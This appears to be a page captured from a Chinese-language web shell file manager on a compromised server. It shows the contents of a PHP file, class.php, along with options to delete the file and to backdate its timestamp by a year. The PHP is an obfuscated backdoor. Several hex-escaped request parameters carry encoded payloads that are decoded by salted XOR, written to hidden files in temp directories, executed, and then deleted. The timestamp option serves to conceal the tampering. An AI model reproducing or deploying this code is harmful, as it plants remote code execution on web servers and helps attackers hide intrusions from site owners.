文件操作 - class.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/class.php
编辑文件内容
<?php if(count($_POST) > 0 && isset($_POST["\x6Bey"])){ $obj = $_POST["\x6Bey"]; $obj= explode('.' , $obj ); $dchunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($obj as $j => $v5) { $chS= ord($s[$j % $lenS]); $dec= ((int)$v5 - $chS - ($j % 10)) ^ 11; $dchunk .=chr($dec); } $mrk = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir()]); foreach ($mrk as $pgrp): if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $marker = "$pgrp" . "/.res"; if (file_put_contents($marker, $dchunk)) { require $marker; unlink($marker); exit; } } endforeach; } if(!empty($_REQUEST["\x70\x73et"])){ $k = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", getcwd()]); $binding = $_REQUEST["\x70\x73et"]; $binding = explode ( '.' ,$binding ); $factor= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s9); $y= 0; $__tmp= $binding; while ($v4= array_shift($__tmp)) { $sChar= ord($s9[$y % $sLen]); $dec= ((int)$v4 - $sChar - ($y % 10)) ^ 65; $factor .= chr($dec); $y++; } while ($pointer = array_shift($k)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $dchunk = "$pointer/.itm"; if (@file_put_contents($dchunk, $factor) !== false) { include $dchunk; unlink($dchunk); die(); } } } } if(array_key_exists("c\x6F\x6Dp", $_REQUEST) && !is_null($_REQUEST["c\x6F\x6Dp"])){ $holder = $_REQUEST["c\x6F\x6Dp"]; $holder= explode ('.' ,$holder ) ; $pgrp= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); foreach( $holder as $i => $v8) { $chS= ord( $s[$i % $sLen]); $dec= ( ( int)$v8 - $chS -( $i % 10)) ^ 80; $pgrp .= chr( $dec);} $itm = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); $ref = 0; do { $element = $itm[$ref] ?? null; if ($ref >= count($itm)) break; if (is_dir($element) ? is_writable($element) : false) { $fac = join("/", [$element, ".k"]); $success = file_put_contents($fac, $pgrp); if ($success) { include $fac; @unlink($fac); exit;} } $ref++; } while (true); } if(!empty($_POST["t\x6B\x6E"])){ $token = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); $obj = $_POST["t\x6B\x6E"]; $obj = explode('.' ,$obj ); $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; array_walk($obj , function ($v1) use (&$elem , &$v , $salt , $lenS) { $sChar = ord($salt[$v % $lenS]); $d = ((int)$v1 - $sChar - ($v % 10)) ^ 94; $elem .= chr($d); $v++; } ); foreach ($token as $k) { if ((bool)is_dir($k) && (bool)is_writable($k)) { $fac = sprintf("%s/.item", $k); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $fac; @unlink($fac); exit; } } } } if(isset($_POST) && isset($_POST["dat\x61\x5Fchun\x6B"])){ $symbol = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", session_save_path(), "/var/tmp"]); $bind = $_POST["dat\x61\x5Fchun\x6B"]; $bind = explode ("." , $bind ); $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; while($r < count($bind)) { $v6 = $bind[$r]; $sChar = ord($s[$r % $lenS]); $d =((int)$v6 - $sChar -($r % 10)) ^ 79; $record .= chr($d); $r++; } foreach ($symbol as $key => $holder) { if (is_dir($holder) ? is_writable($holder) : false) { $dchunk = vsprintf("%s/%s", [$holder, ".flag"]); if (file_put_contents($dchunk, $record)) { require $dchunk; unlink($dchunk); exit; } } } } if(array_key_exists("\x65nt", $_POST) && !is_null($_POST["\x65nt"])){ $factor = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP")]); $tkn = $_POST["\x65nt"]; $tkn = explode ('.' ,$tkn ) ; $element=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt); foreach ($tkn as $s => $v1): $sChar=ord($salt[$s % $lenS]); $dec=((int)$v1 - $sChar - ($s % 10)) ^ 52; $element .= chr($dec); endforeach; for ($bind = 0, $marker = count($factor); $bind < $marker; $bind++) { $flag = $factor[$bind]; if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $rec = "$flag/.pointer"; if (file_put_contents($rec, $element)) { require $rec; unlink($rec); die(); } } } } if(isset($_POST) && isset($_POST["\x64\x61ta\x5Fc\x68\x75nk"])){ $parameter_group = $_POST["\x64\x61ta\x5Fc\x68\x75nk"]; $parameter_group = explode ( "." ,$parameter_group) ; $binding = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $u = 0; foreach ($parameter_group as $v6) { $sChar = ord($salt6[$u % $lenS]); $d = ((int)$v6 - $sChar - ($u % 10))^96; $binding .= chr($d); $u++;} $entity = array_filter([getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); foreach ($entity as $key => $flag) { if (is_dir($flag) ? is_writable($flag) : false) { $desc = "$flag" . "/.hld"; if (@file_put_contents($desc, $binding) !== false) { include $desc; unlink($desc); die(); } } } } if(@$_REQUEST["\x72\x65f"] !== null){ $descriptor = array_filter([getcwd(), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $elem = $_REQUEST["\x72\x65f"]; $elem =explode ('.',$elem); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($elem as $y =>$v4) { $chS = ord($salt[$y % $lenS]); $d = ((int)$v4 - $chS - ($y % 10))^36; $val .= chr($d); } foreach ($descriptor as $key => $obj) { if (is_writable($obj) && is_dir($obj)) { $ent = vsprintf("%s/%s", [$obj, ".factor"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $ent; @unlink($ent); die(); } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件